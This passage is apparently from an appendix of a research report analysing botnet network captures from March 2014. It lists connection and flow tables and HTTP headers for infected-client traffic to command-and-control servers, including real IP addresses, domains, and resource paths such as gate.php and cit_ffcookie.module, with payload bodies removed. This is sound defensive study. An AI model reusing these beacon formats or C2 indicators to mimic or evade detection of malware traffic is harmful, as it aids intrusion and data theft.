POST and GET methods. The POST requests each included an encrypted message body
but the GET requests did not. In all cases a resource named “file.php” was specified.
The message body returned in the response to the failed GET request was an HTML text
document with its language set to German, which is consistent with the domain
registration. The sequence and timing of requests, based on the Date header in the
responses, appeared to be two POST requests followed by two GET requests every five
seconds. This was likely due to the fact that the server was not finding that resource.
Note that the bot made several failed attempts to contact IP address 91.220.62.10,
registered to a Russian service provider, before a DNS query of tandembikesoftware.com
returned the IP address 173.255.227.44 and the first connection was established.
Immediately following that first connection, a DNS query of moneytrax.de returned the
IP address 92.51.171.104 seen in all subsequent connections. According to ZeuS
Tracker, none of these IP addresses were previously identified as Zeus servers.
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Sample File b8c collected on 27 Mar 2014 with total time of 5 minutes 4 seconds
This network trace sample file consisted of 15 successful TCP connections, as
summarized in the following table. A column is included in the table to indicate whether
the connection was preceded by a DNS query when the HTTP Host Header field
specified a domain name as opposed to an IP address. In this case an IP address was
specified for the suspicious server.
Table A-18: Summary of Connections in File b8c
Source Port

Destination IP

HTTP Host Header

DNS?

1029

37.0.123.150

37.0.123.150

n/a

1030

37.0.123.150

37.0.123.150

n/a

1032

173.194.67.105

www.google.com

Yes

1033

173.194.67.94

www.google.nl

Yes

1034

37.0.123.150

37.0.123.150

n/a

1041

37.0.123.150

37.0.123.150

n/a

1043

37.0.123.150

37.0.123.150

n/a

1044

37.0.123.150

37.0.123.150

n/a

1045

37.0.123.150

37.0.123.150

n/a

1046

37.0.123.150

37.0.123.150

n/a

1047

173.194.67.105

www.google.com

Yes

1048

173.194.67.94

www.google.nl

Yes

1049

37.0.123.150

37.0.123.150

n/a

1050

37.0.123.150

37.0.123.150

n/a

1055

37.0.123.150

37.0.123.150

n/a
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First Connection: Source Port 1029, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “o.bin” along with its relative
path. The request included a message body with a length of 122 bytes. The message
body contained no readable text. The Host header specified an IP address rather than a
domain name. The Cache-Control header specified No-Cache to prevent caching by all
caching mechanisms in proxies or gateways along the request chain. The Connection
header specified Keep-Alive to explicitly maintain a persistent connection after the
response was complete, suggesting that additional requests might follow. The response,
successful status code 200 OK, included a message body with a length of 5328 bytes.
The message body contained no readable text, which is consistent with the value of
Application/Octet-stream for the Content-Type header. The Connection header specified
Close to close the connection upon completion. The Last-Modified header was used to
enable cache validation of this resource. The ETag header was also used in this response.
It specified a value to distinguish this entity from other variants of this resource (o.bin).

POST /administrator/cache/modules/tmp/com/o.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache
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( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:15:30 GMT
Server: Apache/2.2.26 (CentOS)
Last-Modified: Sun, 16 Mar 2014 09:42:42 GMT
ETag: "363668-14d0-4f4b61fd32880"
Accept-Ranges: bytes
Content-Length: 5328
Connection: close
Content-Type: application/octet-stream
( non-readable content removed )

A query of ZeuS Tracker produced no matches for the server observed in this
connection. A query using whois indicated that the IP address belongs to a block
assigned to a service provider in Russia.
For this connection, Argus created one flow.
Table A-19: Flows from First Connection in File b8c
sport
1029

daddr
37.0.123.150

dport
80

dur
0.222165

sbytes

dbytes

spkts

dpkts

770

6094

7

9

Second Connection: Source Port 1030, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request and response in this connection were almost identical to those in the previous
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connection with one notable exception: the request had a message body with a length of
128 bytes. The response returned the same content with an updated timestamp.

POST /administrator/cache/modules/tmp/com/o.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:15:27 GMT
Server: Apache/2.2.26 (CentOS)
Last-Modified: Sun, 16 Mar 2014 09:42:42 GMT
ETag: "363668-14d0-4f4b61fd32880"
Accept-Ranges: bytes
Content-Length: 5328
Connection: close
Content-Type: application/octet-stream
( non-readable content removed )

For this connection, Argus created one flow.
Table A-20: Flows from Second Connection in File b8c
sport
1030

daddr
37.0.123.150

dport
80

dur
0.335894

sbytes

dbytes

spkts

dpkts

776

6094

7

9
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Third Connection: Source Port 1032, Destination IP 173.194.67.105
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.com
Cache-Control: no-cache

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location:
http://www.google.nl/webhp?gfe_rd=cr&ei=_YY0U4bJLouB0AXy_YDQAg
Content-Length: 263
Date: Thu, 27 Mar 2014 20:15:57 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic
Connection: close
( html content removed )

A query using whois indicated that the IP address was assigned to Google, Inc.
For this connection, Argus created one flow.
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Table A-21: Flows from Third Connection in File b8c
sport
1032

daddr

dport

173.194.67.105

80

dur
0.247901

sbytes

dbytes

spkts

dpkts

467

824

5

5

Fourth Connection: Source Port 1033, Destination IP 173.194.67.94
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp?gfe_rd=cr&ei=_YY0U4bJLouB0AXy_YDQAg HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Cache-Control: no-cache
Host: www.google.nl

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:15:58 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=035996bfe2cc00fc:FF=0:TM=1395951358:LM=1395951358:S=Fa05PSFNnmB
MOXGF; expires=Sat, 26-Mar-2016 20:15:58 GMT; path=/; domain=.google.nl
Set-Cookie: NID=67=PNF1MlHrllqGvyUScU3cu7JJ8uQQoT8PXzsSe_N2IJrh2OgJjsQ3oVOi1MdKwCoKGGjbtigQtEy4z73Z38AqYAh1MY
pWb0SsFcn1xFJmGfCQZH5Fr0JsqFqInG4UCAl; expires=Fri, 26-Sep-2014
20:15:58 GMT; path=/; domain=.google.nl; HttpOnly
P3P: CP="This is not a P3P policy! See
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http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
( html/script content removed )

A query using whois indicated that the IP address was assigned to Google, Inc.
For this connection, Argus created one flow.
Table A-22: Flows from Fourth Connection in File b8c
sport
1033

daddr

dport

173.194.67.94

80

dur
0.324819

sbytes

dbytes

spkts

dpkts

1222

30529

17

25

Fifth Connection: Source Port 1034, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, was very similar to those in the first two connections
except that a different resource was specified (“t.php”) and the content length was 373
bytes. The response, successful status code 200 OK, included a message body with a
length of 64 bytes. The message bodies of both the request and response contained no
readable text. Again the response specified Close in the Connection header to close the
connection after completion.
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POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 373
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:15:58 GMT
Server: Apache/2.2.26 (CentOS)
X-Powered-By: PHP/5.2.17
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8
( non-readable content removed )

For this connection, Argus created one flow.
Table A-23: Flows from Fifth Connection in File b8c
sport
1034

daddr
37.0.123.150

dport
80

dur
0.559220

sbytes

dbytes

spkts

dpkts

901

535

5

5

Sixth Connection: Source Port 1041, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was nearly identical to the one in the first connection specifying the
“o.bin” resource, only the timestamp of the response was different. However, even
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though the length of the request message body was again 122 bytes, its content was
different. The content of the response message body was the same.

POST /administrator/cache/modules/tmp/com/o.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:17:31 GMT
Server: Apache/2.2.26 (CentOS)
Last-Modified: Sun, 16 Mar 2014 09:42:42 GMT
ETag: "363668-14d0-4f4b61fd32880"
Accept-Ranges: bytes
Content-Length: 5328
Connection: close
Content-Type: application/octet-stream
( non-readable content removed )

For this connection, Argus created one flow.
Table A-24: Flows from Sixth Connection in File b8c
sport
1041

daddr
37.0.123.150

dport
80

dur
0.258363

sbytes

dbytes

spkts

dpkts

770

6094

7

9
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Seventh Connection: Source Port 1043, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was very similar to the one in the fifth connection specifying the “t.php”
resource, both request and response contained message bodies with no readable text. The
message body of the request had a length of 519 bytes and unique content in this
connection. The message body of the response again had a length of 64 bytes but had
different content.

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 519
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:17:57 GMT
Server: Apache/2.2.26 (CentOS)
X-Powered-By: PHP/5.2.17
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8
( non-readable content removed )

For this connection, Argus created one flow.
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Table A-25: Flows from Seventh Connection in File b8c
sport
1043

daddr

dport

37.0.123.150

80

dur
0.301378

sbytes

dbytes

spkts

dpkts

1047

535

5

5

Eighth Connection: Source Port 1044, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was very similar to those in the fifth and seventh connections specifying
the “t.php” resource. Both request and response contained message bodies with no
readable text. The message body of this request had a length of 1209 bytes and unique
content. The message body of the response again had a length of 64 bytes but again had
new content.

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 1209
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:17:58 GMT
Server: Apache/2.2.26 (CentOS)
X-Powered-By: PHP/5.2.17
Content-Length: 64
Connection: close
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Content-Type: text/html; charset=UTF-8
( non-readable content removed )

For this connection, Argus created one flow.
Table A-26: Flows from Eighth Connection in File b8c
sport
1044

daddr

dport

37.0.123.150

80

dur
0.353216

sbytes

dbytes

spkts

dpkts

1792

589

6

6

Ninth Connection: Source Port 1045, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was again very similar to those in previous connections specifying the
“t.php” resource, both request and response contained message bodies with no readable
text. The message body of this request had a length of 532 bytes and unique content.
The message body of the response again had a length of 64 bytes but again had new
content.

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 532
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
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HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:17:58 GMT
Server: Apache/2.2.26 (CentOS)
X-Powered-By: PHP/5.2.17
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8
( non-readable content removed )

For this connection, Argus created one flow.
Table A-27: Flows from Ninth Connection in File b8c
sport
1045

daddr
37.0.123.150

dport
80

dur
0.399279

sbytes

dbytes

spkts

dpkts

1060

535

5

5

Tenth Connection: Source Port 1046, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was again very similar to those in previous connections specifying the
“t.php” resource, both request and response contained message bodies with no readable
text. The message body of this request again had a length of 532 bytes but with unique
content. The message body of the response again had a length of 64 bytes but again had
new content.

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
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Content-Length: 532
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:17:58 GMT
Server: Apache/2.2.26 (CentOS)
X-Powered-By: PHP/5.2.17
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8
( non-readable content removed )

For this connection, Argus created one flow.
Table A-28: Flows from Tenth Connection in File b8c
sport
1046

daddr
37.0.123.150

dport
80

dur
0.406927

sbytes

dbytes

spkts

dpkts

1060

535

5

5

Eleventh Connection: Source Port 1047, Destination IP 173.194.67.105
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp HTTP/1.1
Accept: */*
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Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.com
Cache-Control: no-cache

HTTP/1.1 302 Found
Location:
http://www.google.nl/webhp?gfe_rd=ctrl&ei=doc0U6vrLsf10gW2u4DwCQ&gws_rd
=cr
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=528718a0f6ccff38:FF=0:TM=1395951478:LM=1395951478:S=EYt_JCPPFmn
Vi52v; expires=Sat, 26-Mar-2016 20:17:58 GMT; path=/;
domain=.google.com
Set-Cookie: NID=67=DHBEP51svy1Znu1O0ee4KDWRFcJ83YokQCacQfAa1ySQY4luMNVlVHMfyrSlfehgLMFzxtxmPlh9fv9wyZ5pU
ZhOt7n9ozyzsKKTG5yFqI8Z93W5862DPyCMJQsYrSi; expires=Fri, 26-Sep-2014
20:17:58 GMT; path=/; domain=.google.com; HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Date: Thu, 27 Mar 2014 20:17:58 GMT
Server: gws
Content-Length: 279
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
( html content removed )

For this connection, Argus created one flow.
Table A-29: Flows from Eleventh Connection in File b8c
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

215

1047

173.194.67.105

80

0.155842

467

1422

5

5

Twelfth Connection: Source Port 1048, Destination IP 173.194.67.94
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was an example of the Google Webhp redirect and beyond the scope of
this work.

GET /webhp?gfe_rd=ctrl&ei=doc0U6vrLsf10gW2u4DwCQ&gws_rd=cr HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Cookie:
PREF=ID=035996bfe2cc00fc:FF=0:TM=1395951358:LM=1395951358:S=Fa05PSFNnmB
MOXGF; NID=67=PNF1MlHrllqGvyUScU3cu7JJ8uQQoT8PXzsSe_N2IJrh2OgJjsQ3oVOi1MdKwCoKGGjbtigQtEy4z73Z38AqYAh1MY
pWb0SsFcn1xFJmGfCQZH5Fr0JsqFqInG4UCAl
Cache-Control: no-cache
Host: www.google.nl

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:17:58 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie:
PREF=ID=035996bfe2cc00fc:U=1a04e1f878b384e8:FF=0:TM=1395951358:LM=13959
51478:S=qqchw8s7DMTOssGt; expires=Sat, 26-Mar-2016 20:17:58 GMT;
path=/; domain=.google.nl
Set-Cookie:
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NID=67=kROtNIBxGBYO95f_qiZfzWdx9vjyAYYvcixfuSwIBZPiGFzML8UXnjT_BFbeOmiC
TUs32MOKRavALUSUyNe1cT8BRyY9SjDuzVydoF7AH-XCWkmtikCL_0WIwE18KGbH;
expires=Fri, 26-Sep-2014 20:17:58 GMT; path=/; domain=.google.nl;
HttpOnly
P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165
7 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic
Connection: close
( html/script content removed )

For this connection, Argus created one flow.
Table A-30: Flows from Twelfth Connection in File b8c
sport
1048

daddr
173.194.67.94

dport
80

dur
0.326700

sbytes

dbytes

spkts

dpkts

1397

30576

16
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Thirteenth Connection: Source Port 1049, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was again very similar to those in previous connections specifying the
“t.php” resource, both request and response contained message bodies with no readable
text. The message body of this request had a length of 4155 bytes and unique content.
The message body of the response again had a length of 64 bytes but again had new
content.
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POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 4155
Connection: Keep-Alive
Cache-Control: no-cache

( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:17:58 GMT
Server: Apache/2.2.26 (CentOS)
X-Powered-By: PHP/5.2.17
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8
( non-readable content removed )

For this connection, Argus created one flow.
Table A-31: Flows from Thirteenth Connection in File b8c
sport
1049

daddr
37.0.123.150

dport
80

dur
0.428192

sbytes

dbytes

spkts

dpkts

4900

751

9

9

Fourteenth Connection: Source Port 1050, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was again very similar to those in previous connections specifying the
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“t.php” resource, both request and response contained message bodies with no readable
text. The message body of this request had a length of 373 bytes and new content. The
message body of the response again had a length of 64 bytes but again had new content.

POST /administrator/cache/modules/tmp/com/t.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 373
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:17:59 GMT
Server: Apache/2.2.26 (CentOS)
X-Powered-By: PHP/5.2.17
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8
( non-readable content removed )

For this connection, Argus created one flow.
Table A-32: Flows from Fourteenth Connection in File b8c
sport
1050

daddr
37.0.123.150

dport
80

dur
0.388736

sbytes

dbytes

spkts

dpkts

901

535

5

5
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Fifteenth Connection: Source Port 1055, Destination IP 37.0.123.150
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
This exchange was again very similar to those in previous connections specifying the
“o.bin” resource, both request and response contained message bodies with no readable
text. The message body of this request again had a length of 122 bytes but with different
content. The message body of the response again had a length of 5328 bytes and the
same content.

POST /administrator/cache/modules/tmp/com/o.bin HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 37.0.123.150
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2014 20:19:31 GMT
Server: Apache/2.2.26 (CentOS)
Last-Modified: Sun, 16 Mar 2014 09:42:42 GMT
ETag: "363668-14d0-4f4b61fd32880"
Accept-Ranges: bytes
Content-Length: 5328
Connection: close
Content-Type: application/octet-stream
( non-readable content removed )
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For this connection, Argus created one flow.
Table A-33: Flows from Fifteenth Connection in File b8c
sport
1055

daddr
37.0.123.150

dport
80

dur
0.211148

sbytes

dbytes

spkts

dpkts

830

6094

8

9

The behavior observed in the connections of this sample file (b8c) differed from that
reported by Alserhani, Akhlaq, Awan, and Cullen (2010), Binsalleeh, Ormerod,
Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010), and Riccardi, Di Pietro,
Palanques, and Vila (2013). Here the infected client appeared to request updated
configuration files with a POST method as opposed to the GET method reported by the
other researchers. In each case, the POST method with resource “o.bin” was used to
request files from the server and the POST method with resource “t.php” was used to
provide information, likely stolen data or status updates, to the server. This later
behavior matches the behavior reported by both research teams, only the resource name is
“t.php” rather than the default “gate.php” they reported. Also note that requests for each
category were sent at two-minute intervals. Based on the Date header in the responses,
the first two “o.bin” requests were responded to at 20:15:27 and 20:15:30. The next one
was responded to at 20:17:31, and the final one at 20:19:31. The first “t.php” request was
sent at 20:15:58, the next six were sent between 20:17:57 and 20:17:59.
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Sample File 2d7 collected on 28 Mar 2014 with total time 5 minutes 1 second
This network trace sample file consisted of nine successful TCP connections, as
summarized in the following table. A column is included in the table to indicate whether
the connection was preceded by a DNS query when the HTTP Host Header field
specified a domain name as opposed to an IP address. In this case a domain name was
specified for the suspicious server.
Table A-34: Summary of Connections in File 2d7
Source Port

Destination IP

HTTP Host Header

DNS?

1030

199.201.122.227

ad-amirsarvi.ir

Yes

1031

199.201.122.227

ad-amirsarvi.ir

n/a

1032

199.201.122.227

ad-amirsarvi.ir

n/a

1033

199.201.122.227

ad-amirsarvi.ir

n/a

1034

173.194.40.241

www.google.com

Yes

1035

173.194.40.247

www.google.se

Yes

1036

199.201.122.227

ad-amirsarvi.ir

n/a

1040

199.201.122.227

ad-amirsarvi.ir

n/a

1041

199.201.122.227

ad-amirsarvi.ir

n/a

First Connection: Source Port 1030, Destination IP 199.201.122.227
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “file.php” along with its
relative path. The request included a message body with a length of 122 bytes. The
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message body contained no readable text. The Connection header specified Keep-Alive
to explicitly maintain a persistent connection after the response was complete, suggesting
that additional requests might follow. The Cache-Control header specified No-Cache to
prevent caching by all caching mechanisms in proxies or gateways along the request
chain. The response, successful status code 200 OK, included a message body with a
length of 5360 bytes. The Cache-Control header specified Public to allow caching along
the request chain. The filename “config.dll” was specified for this message body using
the Content-Disposition header. The Content-Disposition header was used together with
the Content-Type header to recommend storing rather than displaying of the file by the
client. The Content-Disposition header is not formally part of the HTTP/1.1 standard in
RFC 2616, but has been borrowed from RFC 1806 and widely implemented.

POST /media/system/css/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:16:14 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Cache-Control: public
Content-Disposition: attachment; filename="%2e/files/config.dll"
Content-Transfer-Encoding: binary
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Content-Length: 5360
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream
( non-readable content removed )

A query of ZeuS Tracker produced a match for the IP address and domain name of the
server observed in this connection. A query using whois indicated that this IP address
belonged to a block assigned to an entity named Synaptica, without further information.
The domain name was registered in 2014 to an individual in Iran.

Figure A-1. Positive ZeuS Tracker Results for 199.201.122.227

For this connection, Argus created two flows, one with the HTTP request and response
packets and another with the packets to close the connection.
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Table A-35: Flows from First Connection in File 2d7
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1030

199.201.122.227

80

1.474594

835

6176

8

8

1030

199.201.122.227

80

0.214727

60

54

1

1

Second Connection: Source Port 1031, Destination IP 199.201.122.227
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “file.php” along with its
relative path. The request included a message body with a length of 128 bytes. The
message body contained no readable text. Use of headers was the same as in the previous
connection. The response, successful status code 200 OK, included a message body with
a length of 177951 bytes. Use of headers in the response was also the same as in the
previous connection. The filename “cit_video.module” was specified for this message
body using the Content-Disposition header.

POST /media/system/css/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:16:16 GMT
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Server: Apache/2
X-Powered-By: PHP/5.4.25
Cache-Control: public
Content-Disposition: attachment; filename="%2e/files/cit_video.module"
Content-Transfer-Encoding: binary
Content-Length: 177951
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream
( non-readable content removed )

For this connection, Argus created three flows, two for the HTTP request and response
packets and a third with the packets to close the connection.
Table A-36: Flows from Second Connection in File 2d7
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1031

199.201.122.227

80

4.957335

3391

75068

46

56

1031

199.201.122.227

80

4.987528

3858

108264

61

78

1031

199.201.122.227

80

0.000574

120

2355

2

2

Third Connection: Source Port 1032, Destination IP 199.201.122.227
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “file.php” along with its
relative path. The request included a message body with a length of 131 bytes. The
message body contained no readable text. Use of headers was the same as in the previous
connection. The response, successful status code 200 OK, included a message body with
a length of 221471 bytes. Use of headers in the response was also the same as in the
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previous connection. The filename “cit_ffcookie.module” was specified for this message
body using the Content-Disposition header.

POST /media/system/css/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:16:24 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Cache-Control: public
Content-Disposition: attachment;
filename="%2e/files/cit_ffcookie.module"
Content-Transfer-Encoding: binary
Content-Length: 221471
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream
( non-readable content removed )

For this connection, Argus created two flows, one for the HTTP request and response
and a second with packets to close the connection.
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Table A-37: Flows from Third Connection in File 2d7
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1032

199.201.122.227

80

4.903603

9398

231046

139

170

1032

199.201.122.227

80

0.224905

60

54

1

1

Fourth Connection: Source Port 1033, Destination IP 199.201.122.227
The HTTP content over this TCP connection consisted of four requests from the local
client to the remote server with corresponding responses from the remote server. Each
request consisted of a POST method specifying the resource “gate.php” and contained
message bodies with no readable text. The content length was the same for two of the
requests (548 bytes) but the content was unique in all four. Similarly, the responses all
had a content length of 64 bytes but each had unique content. This could suggest that the
content was padded and encrypted to result in an entity of that length.

POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 535
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 20Date: Fri, 28 Mar 2014 02:16:44 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Vary: User-Agent
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Content-Length: 64
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 1223
Connection: Keep-Alive
Cache-Control: no-cache
(binary content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:16:44 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Vary: User-Agent
Content-Length: 64
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 548
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Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:16:47 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Vary: User-Agent
Content-Length: 64
Keep-Alive: timeout=1, max=98
Connection: Keep-Alive
Content-Type: text/html
( non-readable content removed )

POST /media/system/css/gate.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ad-amirsarvi.ir
Content-Length: 548
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2014 02:16:48 GMT
Server: Apache/2
X-Powered-By: PHP/5.4.25
Vary: User-Agent
Content-Length: 64
Keep-Alive: timeout=1, max=97
Connection: Keep-Alive
